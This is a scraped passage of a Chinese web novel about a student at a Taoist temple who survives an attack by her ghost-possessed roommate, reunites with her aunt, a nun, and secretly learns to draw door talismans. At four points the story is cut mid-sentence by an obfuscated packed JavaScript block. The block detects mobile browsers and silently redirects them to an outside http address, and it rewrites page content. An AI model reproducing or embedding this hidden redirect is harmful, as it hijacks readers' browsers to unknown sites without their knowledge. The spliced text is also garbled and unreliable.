常喜乐跑到跟前才看清——杨瑰司身形狼狈,她衣袖都沾了点泥巴,头发间还带着土。 “在一个斜坡上发现她的,昨晚雾太大了,我们不敢往那边走。”仁心和她解释了几句就忙着把人往房间里背,大声呼唤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14529433|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,“悬济呢?把悬济叫来!这儿有病号,让她给人看看。” 一帮人又乌泱泱地往里头走。 那据说很擅长医治的悬济师父是个年轻姑娘,她在房间里替杨瑰司诊治,把其他人都赶了出去。 剩下的道姑就都去忙自己的事了,只有常喜乐和仁心、以及书念留在外头。 “仁心师父,你们没再遇到一位白色头发的男生了吗?”常喜乐一边担心昏迷不信的杨瑰司,一边又放心不下还没下落的安平。 “没了,整个山头都找遍了,也只有这位杨姑娘。”仁心摇了摇头,“你说的那个人,我猜是下山了。你不是说他手上有非常详细的地图吗,那他一定对山路很了解,几乎没有迷路的可能。” 常喜乐慢慢地点了点头,她想下山去看看安平是否已经回了学校,但一切都得等杨瑰司醒来再说。 那位悬济师父出来的时候,杨瑰司还在床上沉沉地睡着。 看着目光殷切的常喜乐,悬济师父没等她问就先讲了杨瑰司的情况:“她身体没什么事,就是受到惊吓,又在斜坡上滑了一跤。等醒了就好了。” “那就好。谢谢您!”常喜乐听到这才松了口气。 “身体上是没什么事。”悬济话锋一转,“但她身上有邪气入侵,不知道是不是被鬼上身了,得做场法事看看。” 常喜乐刚放下的一颗心立刻又紧张起来,她问:“不是说这山上没有……” “没有猛兽,可没说没有野鬼。”靠在一旁墙上的仁心立刻知道她要问什么。 但做法事也急不得,当务之急是让杨瑰司先醒过来。悬济转头拿着张单子给书念,交代他去把对应的药抓来,就去和仁心商量着准备了。 今天肯定是下不了山了。常喜乐拿了手机给方信艾打电话,想让她代为向老师请个假。然而已经日照当头了,方信艾却没接电话。 也许是还没醒……常喜乐心想,毕竟是周末嘛。她索性给方信艾留了个言,随后就进了房间,坐在杨瑰司床头。 有人替杨瑰司大致梳洗了一下,给她换上了干净的衣服。常喜乐把她放在被窝外的手放进被子里,摸到手背的时候,只觉得冰凉一片。 也不知她在斜坡上躺了多久,昨晚大雾,山上又气温低,杨瑰司一定是冻坏了。 刚给她掖好被角,常喜乐余光就感觉杨瑰司似乎动了动。她低下头仔细瞧了瞧,见杨瑰司的睫毛真的微微颤动了几下。她眉头紧蹙,似乎有些痛苦。 过了好一会儿,杨瑰司才艰难地睁开了眼睛。 “你醒了!”常喜乐惊喜地站起来准备去叫人来,但被刚醒的杨瑰司扯住了衣角。 她张口说了一句话,但声音太低,常喜乐不得不弯下腰靠近她问:“你说什么?” “你长得可真好看……咯咯咯咯……”杨瑰司却好像得逞一般从喉咙里咳出两声诡异的笑来,反身一把掐住了常喜乐的喉咙。这一下她出手又准又狠,常喜乐毫无防备,甚至连一句求救声都没发出来。 常喜乐从没觉得自己离死亡这么近过。 她勉力想掰开杨瑰司的手,却觉得她的手像铁一样坚硬,力气之大不是常人能有的。让她想起前几天的方信艾。 因为没有充足的氧气,常喜乐的力气逐渐变小了,眼前逐渐出现白色的光圈。就在这时,屋外传来了敲门声,又是书念,小孩子有气无力地唤着:“快开门……” 32.借势 “喜乐姐姐,你在里面吗?”房间里安静得异常,书念手上端着的托盘还满满当当盛着给杨瑰司抓的药和给两人备的午饭,他一路端过来,实在有些手酸了。他嘟囔着:“不会出去了吧?” 里面的常喜乐却一句话也应不了,她被杨瑰司压在床上,紧盯着对方的眼睛。杨瑰司的眼珠黑洞洞的没有一点亮光,看上去神志不清。 常喜乐颤抖着伸出手,掐住杨瑰司的人中。 上山前,常喜乐搓着手靠近杨瑰司,侧身拱了拱她的肩膀。 杨瑰司对上常喜乐带笑的眼睛,很不自在地打了个哆嗦:“你怎么跟小猫似的撒娇?……有话就说。” 常喜乐嘿嘿一笑,伸手虚空比划了几道,问她:“你画的那些符难吗,能不能教我几招?我遇事儿好防身!” 杨瑰司伸出食指摇了摇:“不是我藏私不教你,这玩意得看你有没有仙缘。” “这么说吧,符本身并没有能力。有用的符都是和天地万物借了力的。普通人画出来的符,哪怕和名家画出来的一模一样,充其量只能算幅画,因为它里头没有势。”杨瑰司干脆拉了把椅子坐下,开启杨氏小讲堂。 “怎么样才能借来势呢?”常喜乐善于提问。 “你就借啊,说不定神愿意给呢。”杨瑰司练了这么多年,也不敢说自己出师了。她有点心虚地挠了挠头,补充道,“首先你得真心实意地相信你能借来势,其次,看你借什么,也看人家愿不愿意借给你。” 说着她向常喜乐伸出手:“借我张餐巾纸。” 常喜乐正听得入神,立刻扯了几张纸递给杨瑰司:“你继续说。” 杨瑰司接过纸哼了个鼻涕,摇了摇头,又向她伸了只手说:“再给我五张百元钞。” 这对吗?常喜乐愣了愣,问:“试听结束了吗,这就到付费环节了?” “哎呀,不上当嘛。”杨瑰司嘿嘿一笑,收回手拍了拍,“我向你借纸轻而易举。向你借钱就要费点功夫。向人借物,向神借势,一个道理。借不借你,全看人家,没道理可讲的。” 常喜乐听到这,若有所思,她又问:“那既然全看缘分,你们这么多年在修什么呢?” “修心、修言。”杨瑰司把她师父传授的简洁版四字真言重复了一遍,看常喜乐果然也露出了迷茫的神色,得意道,“抽象吧?我就说不是我悟性不够,师父还老批评我!” 常喜乐却思索片刻,试着举一反三:“相信自己能借到势;用合适的理由说服神借你势?” “是这个理……”杨瑰司张了张嘴,有些哑然。 “那我一直求一直求,神听烦了,是不是就愿意借我啦?”常喜乐忍俊不禁,想起自己每次去神像前祷告都一直重复的那句话——假如神仙真能听见,恐怕耳朵都要起茧子啦。 杨瑰司伸手重重点了一下常喜乐的额头,皮笑肉不笑道:“那神就拉黑你。” 她把常喜乐拉起来推出门:“这写符不是一天就能练出来的,来不及教你了。但有个方法对所有人通用。假如你遇到像方信艾这样被鬼附身的人,你就掐她的人中。” 掐人中直接刺激神经,能让人恢复清醒。 不知道是不是这个方法起效果了,杨瑰司突然怔愣了一瞬间,她盯着常喜乐,呢喃道:“喜乐姐姐?” 也正是这一瞬间,她的手微微松劲儿了。常喜乐就趁着这时一拳打在她脖子处,这一下的力气她用了十成十,让杨瑰司歪着身子缩到一边,捂着脖子直干呕。 常喜乐挣开她,起身冲到房门口打开木门,从走廊上的伞筒里拿了把细长柄伞穿过门环。下一秒,门内立刻传来疯狂拍打的声音。 木门在不间断的拍打下猛烈震动,连门框顶上积的灰都被抖落了下来,整扇门看起来变得脆弱不堪。 书念哪里见过这样的情景,目瞪口呆地站在一边不知道该怎么办。常喜乐把门堵上之后,看杨瑰司一时半会出不来了,声音沙哑地对书念说:“去找人来,快,她疯了。” 书念看常喜乐头发乱糟糟的,脖子间更是有可怕的红印,加上门里面那全然不正常的吼叫,终于回过神来,吓得把托盘搁在地上就往外跑。 等仁心等人闻讯赶来,常喜乐已经脱力般跪坐在了地上,被书念搀扶到了另一边。 几位道姑问过常喜乐门内大致的情况后,心里就有数了。她们有默契地前后站好,打开房门后一步步把想闯出来的杨瑰司逼回了房间,房门在无人触碰的情况下自动关上了。随后就听见房里传来几声惨叫,似乎是杨瑰司的声音。 等常喜乐缓过劲来,还是放心不下杨瑰司,她站起来想去查看情况,被书念拉住了。 “别去。”书念摇了摇头,看起来异常严肃。他侧耳倾听屋子里的动静,沉声说,“师姐她们好像还没有制住杨姑娘,有人去找师父了,我们两个帮不上忙,得熬到师父来。” “我们先走吧,杨姑娘是冲着你的。” 常喜乐听劝地跟着书念往院子外走,她摸了摸自己的脖子,还心有余悸:“她到底是怎么了?” “不好说。”书念有猜想,但不敢随便下定论,“我觉得可能是昨天夜里迷路的时候被山里的什么东西冲到了,被附身了也说不定。” 话音刚落,身后原本就摇摇欲坠的木门突然被破开,其中一扇门甚至直接被打飞出了几米外。杨瑰司披头散发地冲了出来,认准方向后心无旁骛地朝常喜乐的方向狂奔。 常喜乐捏紧了刚才出门时拿到的伞筒里的长柄伞。她下意识把书念护在身后,举起伞对着杨瑰司。但伞没有杀伤力,起不到实际上的作用,顶多阻上她一阻。 青伞在混乱中不知被按到了什么地方,伞面对着杨瑰司大开,她面前突然变成一大片青色,一时迷了方向。 毕竟只是把竹伞,常喜乐还来不及喘息一秒,伞面就被对面的人从中间整个撕开。 就在她伸长的手即将碰到常喜乐的时候,从两人的身后传来一声怒喝:“停!”与此同时一张黄符被快准狠地扔过来,分明只是轻飘飘的一张纸,却有十足力道似的盖在了杨瑰司的额头上。 杨瑰司立刻停在了原地,她盯着面前的人看了一会,眼神变得怔松,只喃喃了一句:“师父?”随后就昏倒在了地上。 这时,杨瑰司的指尖距离常喜乐只有分寸之遥。 常喜乐怔怔回头,看见的却不是她们苦苦等候的“念慈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14538865|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”师父,而是那张与她本人有五分像的脸。 后面几位道姑追出来,她们各司其职,有把杨瑰司扛起来带回房间的,有把常喜乐扶起来的,剩下几个则惊喜地越过常喜乐,对着她们身后那个面色严肃的女子呼唤道:“苦心师姐,你回来了!” 常喜乐看见那个散着头发,背着把剑的女人敲了敲一向稳重的仁心师傅的头,教训道:“真是越来越没有长进,这样级别的鬼附身都制不住。” “你们……叫她什么?”常喜乐愣神看着那张无比熟悉的脸露出她不熟悉的笑容,喃喃地问书念。 “这是咱们观的大师姐,是师父的开山弟子,道号苦心。”书念眼睛发亮,不错眼地盯着那女人。但他年纪小插不上话,只能在一边与有荣焉地给常喜乐解释。 苦心? 也是,这个观里,除了她常喜乐和杨瑰司这两个外来客,哪个人用本名和他人相称,全都是另外起了道号。 难怪念慈师父说观里从来没有一位叫作“唐柚”的女人。 那位名唤“苦心”的道姑原本笑着和旁边的人说话,随后才终于移转视线,望向常喜乐。 女人的身形提拔如竹,哪怕站在人群中也格外出挑。她是圆眼翘唇,原本是绮丽的长相,然而面容严肃又让人一见就忍不住先敬畏三分。 这“人”就包括常喜乐。 小时候,妈妈甚至会拿“再不乖乖睡觉喊你小姨来揍你!”威胁常喜乐,可见小姨在她的心里是怎么个恶劣的形象。 然而,对面这人唇角一勾,肃穆的气氛就随之消散,宛如冰雪消融。 一旁的仁心注意到她的视线,准备向她介绍常喜乐:“师姐,这是昨天来咱们观的……” 她话音还没落,女人就轻轻摇着头低叹,像是在数落,又仿佛是嗔怪: “才不见你几天,怎么就把自己搞成这副狼狈模样?” 和第一回在医院见面时的语句相仿,然而却多了点温度,带些戏谑。 一边的仁心、悬济还丈二和尚摸不着头脑,疑心这两人是不是旧相识。 但不可能啊,苦心师姐家乡不在这,而且她向来不问世事,她们从没见过她在山下时有交到什么知心朋友。 常喜乐一听这句话,嘴角向下撇了撇,眼眶立刻就红了。她别扭地往前走了几步就不肯走了。还是唐柚大跨一步把小姑娘揽在了怀里,她轻轻拍着常喜乐的脊背,像小时候给她念童谣那般轻声说:“没事了哦,没事了。小姨在这,喜乐不要怕。” 不说时,有万般困难常喜乐都可以独自面对,也必须自己扛。然而一但有了靠山,就觉得身上的那座大山被人轻轻托了起来,终于可以放松地呼吸了。 常喜乐深吸了一口气,干嚎起来:“小姨你去哪了呀——我还不容易找到这,她们都说这儿根本没你这个人。你这个笨蛋,还让我有事儿找你,都不知道提前把自己道号告诉我,你算哪门子的亲小姨啊呜哇哇哇哇啊啊啊啊啊啊……” 几位旁观者秉着气看这一幕,素来坏脾气的苦心师姐只是耐心地一下又一下顺着那姑娘的背。这人等着常喜乐发泄情绪,嘴角含笑,自言自语地乐道:“这下不跟我装不熟了昂?” 33.开门符 书念之前端来的药和饭菜在刚才的混乱中都打翻了,他蹲在地上和仁心一块儿收拾的时候,看了眼远处和常喜乐站在一块说话的唐柚,见她脸上露出和以往全然不同的生动表情,不可思议道:“没想到大师姐还有亲人呢。” “废话。”仁心没好气地敲了敲他的头,“师姐总不能是从石头缝里蹦出来的。” 书念吐了吐舌头。在之前,他真觉得这位大师姐就是一个人活在世界上,无牵无挂的。 远处,常喜乐仔细听着唐柚给她讲杨瑰司的情况。 “她身上的是山间游魂,杀你是想上你的身,让你替她死。”唐柚言简意赅,“不过这只其实不太聪明。杀了人,肉身总会腐败,抢来又有什么用呢?她看起来强到连仁心她们都对付不了,只是因为在天地间停留了太久,有阅历些罢了。” 深奥的理论一时给常喜乐讲了她也很难听懂,唐柚尽量选了简单易懂的说法。尽管这样,她还是听得一愣一愣的。 在此之前,常喜乐虽然偶尔也遇到灵异事件,但从没遇到过攻击性这样强的鬼怪。她心有余悸地问:“那现在,解决了吗?” 指的是杨瑰司被那张符镇住后,鬼魂是否就消散了。 “没。”唐柚转身往杨瑰司在的房间走,嘱咐常喜乐,“还有的忙呢,你先找地方歇着吧。” “等等。”唐柚即将离开的时候,常喜乐抓住了她的手腕,问,“刚才瑰司昏过去之前,我听见她叫你师父?” 唐柚又恢复了她一贯淡漠的神情,拍了拍常喜乐的肩膀,反问:“一心只想要人命的鬼说的话,可以当真吗?” 看着曾经坚定地和她说“世界上根本没鬼,都是骗小孩”的小姨现在行云流水地讲出那么多她听都没听过的名词,常喜乐忍不住嘀咕:“以前你不是都瞒着我吗,说这些都是假的?” 唐柚没有一点心虚的样子,面不改色地说:“河流湍急,有巨鳄在桥下跃跃欲试。看着一个即将走上独木桥上的人,与其蒙住她的眼睛、告诉她面前是平坦大道,不如让她自己亲眼看、亲自走。” 常喜乐似懂非懂地点了点头,唐柚就自顾自离开了。 第二天,据书念说,唐柚她们打算给杨瑰司驱鬼。 他本来是给常喜乐送点心的,现在笑吟吟地接过她投喂的绿豆糕,一边吃一边小声和她说:“但说来奇怪,你猜我听到了什么?” 常喜乐撤回准备递给他的核桃酥,眯了眯眼睛威胁:“你还学会卖关子了啊?” 书念嘿嘿一笑,如实告诉她:“她们说,杨姐姐身上不止一个鬼魂。” “什么?”常喜乐瞪大了眼睛,“那有几个?” 书念比了个二,找准机会从发愣的常喜乐手里接过了核桃酥。 “从没听说过……”但转念一想,她从没有系统地了解过这方面的知识,不知道也正常。于是她问出了自己最关心的问题,“那有两个鬼魂,对驱鬼有什么影响吗?” “那我就不晓得了。估计没有吧,遇到恶鬼,我们一律——咔,就地伏诛。”书念做了个抹脖子的动作。 “那好鬼呢?” “送去超度。”书念不假思索地回答,似乎对这个流程非常熟悉。 常喜乐点了点头,精准地一把按住书念伸向糕点盘的手,笑着温声说:“好了书念,你师姐说小孩子不可以饭前吃这么多点心的哦。” 书念讪讪地收回手,总感觉常姐姐这笑中带冷的模样和他印象中的苦心师姐有些相似。 常喜乐拍掉手上的糕点屑,心中暗暗自得——果然任清家教带小孩的经验是通用的,管小孩,就得带点凶。 不过,看着一开始一见她就害怕地大叫的书念这会儿活泼的样子,常喜乐很高兴。 但驱鬼现场点明了不让常喜乐去,书念负责看着她。 “为什么呀!”常喜乐不理解,常喜乐在房间里团团转。一方面她已经一整天没见到杨瑰司了,希望能亲眼看看她;另一方面,对唐柚她们究竟怎么驱鬼这件事常喜乐也非常好奇。 “哎呦喜乐姐姐你快坐下吧,转来转去的我眼睛都晕啦。”书念坐在椅子上托脸看她,把师姐说的话学给她听,“我们俩都太弱啦,要是遇到突发情况她们还得分精力保护我们。” 常喜乐福至心灵地问:“这是谁说的?” 书念很老实:“你小姨。” 三个字,拖后腿。 常喜乐沉默了。常喜乐坐回到椅子上。 但她还是有些坐立难安,不时揪住衣摆又松开。想到杨瑰司在下死手想杀她的时候,眼神突然转变,也不再想杀她,只是喊她“喜乐姐姐”。 杨瑰司是不可能喊她姐姐的,既然书念说有两个鬼魂在,会不会当时是另外一个鬼魂现身了? 那一只也许不是恶鬼呢?只是她出现的时间很少,似乎不是很强大的样子。 她又问:“她们有没有说,哪只鬼伏诛,哪只超度呢?” 书念摇了摇头:“这个我没听见,但我猜,两只都要杀。” “为什么?” “人的肩上有三把火,你以为附身是多简单的事?它们费尽心思待在别人身上,基本就是想要取而代之,能是什么好鬼呀?”书念理所当然地说完之后,又磕起了瓜子。 常喜乐还是觉得有点不好,她站起来说:“不行,我得去看看。” 书念也没急着站起来拦她,只是不紧不慢地说:“交代我了不让你去的,姐姐你还是坐下吧。” 常喜乐看书念这突然正经的样,没忍住笑他:“派你来拦住我呀?”这么个小身板,能挡住什么人?抱着她的大腿说“别走!”吗? 这话没说完,但其中意思不言而喻,书念立刻气鼓鼓地说:“你倒是试试看,我能不能拦住你。” 常喜乐也没空逗他玩了,抬腿就往门口走,但她手还没碰到木门,从书念的方向就飞来一张黄符,正正好好贴在两扇门片中间。 常喜乐一拉门把手,木门纹丝不动。 再拉,还是不动。 嘿,奇了怪了! 她两手拉住门把手,一脚踩在门槛边上,使劲儿往后拽门,结果依然没有什么变化。 肯定是那张符的问题! 常喜乐伸手想把那符拽了,但书念似乎早早料到,特意把符贴得特别高,常喜乐就算跳起来也够不着。 这下真出不去了,轮到常喜乐气鼓鼓地回到座位上,问书念:“这是什么符?” 书念言简意赅:“关门符。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14588000|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你也会写符?”常喜乐抱着双臂,翘个二郎腿斜眼看他。 “当然啦!你可不要把我看扁了,我每天功课都没有落下的好吗!”书念骄傲地抬头。 “那你把符贴这么高,等会儿我们要出去的话怎么办?”常喜乐问。 书念大咧咧地说:“写个开门符就好了嘛。” 常喜乐放下二郎腿,来了兴致,问他:“你能教我写不?” “我傻呀,教你写完你就出去了。”书念不上她的当,但看常喜乐垂头丧气地趴到桌上,没忍心又补充了一句,“而且画符这事儿也不是一蹴而就的呀,你就算照着画一张出来,如果没有神仙买你的账,那符也就是一幅画而已,没用的。” 这论调杨瑰司也说过,常喜乐惊讶地看了书念一眼,心想原来这理论算是他们这一行当的常识么? 她瘪了瘪嘴继续说:“既然这样,你教教我也没什么大不了的嘛,反正也不能速成。” “那……那好吧。”书念挠了挠头,想想也好像有道理,算是他把常喜乐关在房间里的补偿了。 他从口袋里掏吧掏吧出来一张有些皱的黄符放在木桌上,拿手掌试着抻平。常喜乐已经跃跃欲试了,问他:“我需要把手指咬破不?” “干啥要咬破啊?”书念有些惊恐,“用朱砂或者墨笔写就可以了嘛。身体发肤,受之父母,不可损伤的呀。你说的以血画符的方法虽然很有效,但很伤身体元气的,我们只有很临时的情况下才会用。” 一般来说,他们都会提前画好符,把能用的挑出来。因为技艺不精的人临场画符未必有效,要是等鬼怪来了才匆匆忙忙画符,等画好了估计尸骨都凉了。 “好的好的书念师父,快开始教学吧!”常喜乐从善如流地拿过他给的墨笔,催促道。 书念留了个心眼,他不在符上示范,只是随手从自己的水杯里蘸了点清水,在木桌上写了几道根本看不懂的复杂笔画:“我就写这么一遍啊,在水渍干之前看吧。” 常喜乐也没多说什么,她凝神观察了木桌水渍一会儿,就拿起墨笔开始在黄符上写写画画。 和书念见过的那些喜欢一边看一边临摹的人不一样,常喜乐的眼神专注在符上,她的笔画一气呵成,没有丝毫凝滞的感觉。 师父不止一次教导过书念,画符借运,诚意是非常重要的一个元素。 你要真心实意相信自己可以借到,不能有一丝一毫的动摇。 几个呼吸间,常喜乐就把笔放下了,她拿起这刚画好的黄符吹了吹,对书念挑眉笑了笑:“让我们来看看这到底是一幅画,还是一张符吧?” 书念就看着常喜乐蹦蹦跳跳地往那木门走,把符贴在了门缝之间。 其实有句话,书念没告诉常喜乐。 在两张符作用相悖的时候,力量更大的那个优先起效。 书念觉得暂时没有必要告诉她这个知识点,因为常喜乐这种甚至上个月还不相信世间有神佛的普通人,根本不可能做到师父所说的画符心境。 符起不了效,就不用谈威力大小了。 然而,一道阳光却打在书念的脸上,晃得他睁不开眼睛。 视线所及之处,常喜乐半靠着倚在推开的木门上,逆着光,得意地冲他笑。 34.驱鬼 “愿赌服输,书念,你师姐那边我去说。”还没等书念反应过来,少女清朗的笑声就逐渐远去了。 书念刚想追出去,那门就被常喜乐从外往里合上了,他再一推,这门纹丝不动。连寻常木门接缝间有空隙而导致的微微松动都没了。 书念扒在门后面透过木门缝往外看,居然看到一张关门符稳稳当当地贴在上面。 这么短的时间里常喜乐啥时候还在他眼皮子底下画了张关门符?!她不就远远地瞄了一眼,这就记住了吗? 感觉要被师姐念叨技不如人了,书念急得原地转圈,他坐回凳子上,又从怀里掏出一张黄符,瞅了眼自己那平常不知道被摔打过多少次的陈旧墨笔,挠着头纳罕道:“这跟平常也没区别啊,开光啦?” 他埋头开始苦写,那开门符笔画复杂,他每一笔都写得凝重缓慢。过了会,从额角滴下一颗汗水来,差点沾在符上,好悬被他用左手接住了。书念轻轻吐出一口气,他把那新画的符再贴到门上时,推推门,那门还是纹丝不动。 虽然临时画符没用是常有的事,而且大概也有他被震惊到后心不静的原因在,但书念还是大受打击。 哇!那他过去几年天不亮就起来练功,晚上挑灯夜读的日子算什么! 书念颓丧地瘫回椅子上,终于有了点小孩样。他意识到,这下是真出不去了。 常喜乐出门后,却有点摸不着方向。 实话说,她是个路痴。这一点从她军训的时候迷路到了林环湖遇见安平就有迹可循。 平常不管去哪,都是书念替她引路的。常喜乐路上光顾着和人侃大山,完全没有记路。这会儿看着四周始终如一的草木景色,一时有点迷茫。 常乐观一般在哪驱鬼? 常喜乐朝着一个方向走了一段时间,一路上都没有遇见人,整个观内空落落的。这就很奇怪,因为平常这个点,到处都能见到在外悟道打坐的道姑。 等她拐到一座小院门口,突然看见一个人影。她刚想叫住那位道姑问路,又想起来唐柚她们不让自己去现场看驱鬼仪式。于是便没急着惊动她。 那位道姑似乎是迟到了,一路循着一条小径小跑,随身的布包都差点掉了一次,更别提察觉到常喜乐了。 等她从一个围墙边的圆拱门进去时,常喜乐才发现常乐观居然有这么大的一个露天广场。 或者说,道场? 如果常喜乐能御剑飞行,从整个常乐观的上空俯瞰的话,就会发现这整个道场地面用什么特制的颜料绘制了一幅巨大的八卦像。 似乎全观所有的有关人员都聚集在这里了,以道场正中央为圆心向外围了好几圈。那位迟到的道姑悄悄溜进了人群,但常喜乐就不行了。她一身常服太过显眼,只能悄悄猫在围墙后面看情况。 但很快她就发现这样下去不行,人群没有散开的意思,她对场上是什么进度都一无所知。 也许唐柚和杨瑰司就在道场正中间。 常喜乐干脆地从最外圈找了个突破口往里钻。最开始圈群松散,往里走还容易。但越往里人群越密集,常喜乐实在挤不进去,转了转眼睛,大喊着:“有热水啊!刚烧开的,小心烫!”一路就这么唬着人给她让出了条道。 等常喜乐好不容易到了人群正中央,才发现面前的几位都是生面孔。 所有人都注意到了这位在观里留宿了几天的不速之客,许多人前几晚都替她在山里找过人,就算没见过也知道这是苦心师姑的侄女。 苦心师姑诶!侄女诶!这两个词儿组合在一起是个多稀奇的存在,于是方才还人声鼎沸的一众人这会儿都安静地看着她,好奇这小姑娘怎么跑这儿来了。 只有正中央两个盘腿对坐的人完全没发现不对,还聚精会神地各自拿着根细树枝在一个瓷缸里对挑,不时啧几声。 “你们这是……在,斗蛐蛐啊?”常喜乐费尽心思抢到了最佳观赏位,终于看清楚了这两个人的动作,干笑了几声,恨不得从喉咙底发出质问——你们这么多人,兴师动众地围在这么个神圣的地方,就是围观斗蛐蛐,斗蛐蛐?!这对吗? 看着我的眼睛说,这对吗! “对啊!”一旁热心的一个圆脸盘的女子笑开了怀,揽了常喜乐一把,“难得师姐有事,师父又出远门了,此时不玩更待何时啊?”话没说完,战局胜负已分,她气都不带喘地大声宣布:“红霸王胜!下一个!” “你在山下,很少看到这种活动吧?我告诉你斗蛐蛐可有意思了,你真得尝试一下!”旁边的人等着换场的时候无聊,立刻七嘴八舌地讲开了,揽着常喜乐跟自家师妹似的打听,“诶,苦心师姑平时在山下的时候,也喜欢板着张脸吗?” “你和她长得像!但我真想象不出来那张冷若冰霜的脸像你这样甜甜地笑起来得是什么样!” “你叫常喜乐呀?多好的名!跟咱常乐观也有缘分。” “再说说苦心师姑嘛,咱们想听!” 常喜乐被前后左右讲得一时都不知道该回答谁,过了好一会儿她才想起来自己原本是来干嘛的。 她又笑着试图轻轻拂开揽她的手,但她低估了这人群包围圈的力量。常喜乐这会儿可比斗蛐蛐有意思多了,后面没见着她的人都往前站站想要一睹真容,这阵仗可就不是光喊着“有热水”就能闯出去的了。 常喜乐有些急了,怀疑自己再这么下去等到中午都出不去。 过了会,她目光看向最外围,隔空喊了一声:“小姨!”这一声很有力量,非常震撼人心,无论是音量上还是含义上。 人群立刻安静了会儿,等她们后知后觉意识到这声“小姨”叫的居然是那个人,立刻跟被开水烫了似的让出一条道来。 常喜乐就礼貌地笑笑,随便指了个方向说:“我去找我小姨说点事儿,先走啦。” 至于唐柚究竟在不在、在哪儿,怕被批评聚众斗蛐蛐于是低头缩成鹌鹑的这一群人都没敢查证。 常喜乐好不容易跑出重围,又走在长得一模一样的小径上时,觉得自己有些笨。 驱鬼再怎么说也是个有风险的事,不然仁心她们也不会要求书念看住常喜乐。怎么可能允许这么多人围成这么多圈看驱鬼仪式,甚至最中央只留出了三人站位的空间呢? 但假如驱鬼仪式在的地方隐蔽、需要的人也少的话,那就更难找了。常喜乐像无头苍蝇一样找了会儿,毫无结果,在原地站了片刻之后,突然福至心灵。 她抬头不断对自己说:“要是小姨知道我不听她的话就跑出来,肯定要骂我了,太可怕了太可怕了。” 常喜乐试图说服自己这是件可怕的事,默念了十遍,虽然想象不出唐柚大发雷霆的样子,但代入一下常喜乐她妈唐柿心女士发火的场景大概也能窥见一二。这么一想,常喜乐就起了层鸡皮疙瘩。 “千万别遇到小姨啊”这个念头只不过在她心里转了一转,就听见路过的院落里传来一声凄厉的惨叫。 还有唐柚经典的冷声:“站住。” 常喜乐:哦豁。 果然她还是这么倒霉,上天对她真薄。 听到这一声命令,常喜乐没来由地心虚起来。她慢慢走进那个院落,就看见杨瑰司披头散发地晕倒在那女人的怀里。唐柚冷冷地瞥了常喜乐一眼,一手把杨瑰司打横抱起来走进房门,问:“不是不让你来?你怎么找到这的。” 常喜乐没好意思说自己骗书念教她画了符,她对了几下手指,等唐柚把杨瑰司在床上安置好之后,立刻转移话题问她:“小姨,瑰司身上的鬼……已经驱好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617474|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 唐柚斜睨了她一眼,没有说太多,只是嗯了一声。两人沉默了一会儿后,她又问:“你们两个是怎么认识的?” “她是我大学舍友。”常喜乐回答。 “噢。”唐柚看起来却有些微微讶然,“她和你在一个大学?” “是呀。”常喜乐不知道唐柚为什么要把一句话再说一遍,但她更关心的是,“她现在怎么样了,什么时候能醒?” “……不知道。”唐柚伸手顺了顺杨瑰司的刘海,回神后吩咐常喜乐,“我还有事要忙,你在这陪着她,如果醒了第一时间找人来告诉我。” “好……”常喜乐点了点头,看唐柚已经准备走了,连忙又拽住她的袖子,“等等!” “怎么?” “就是……她身上的鬼在被驱逐之后,会怎么样呀?”常喜乐问,“会彻底消失吗?” “什么叫彻底消失?”唐柚歪了歪头反问。 “就是……从此世界上再也没有它的踪迹?不复存在了?”常喜乐回想起从前似乎听过鬼魂被打得魂飞魄散之类的故事。 唐柚却意味不明地笑了一声。 这间屋子似乎闲置很久了,只是临时用来驱鬼。她随手从桌上摸了一下就撸下一把灰来,问常喜乐:“你看到了什么?” “黑色的灰尘。”常喜乐老实回答。 唐柚把手心摆到脸前,朝着门外方向轻轻呼了一口气,那灰尘就飞扬着消散在了空中。 “现在你还能看到它们吗?” 常喜乐摇了摇头。 “但它们并没有彻底消失。有一天,或许这些飞尘会被风带到一个地方,重新筑成沙堡。灵魂也是这样,被打散了,但有一天还会再聚合。”唐柚说到这,问她,“我说明白了吗?” 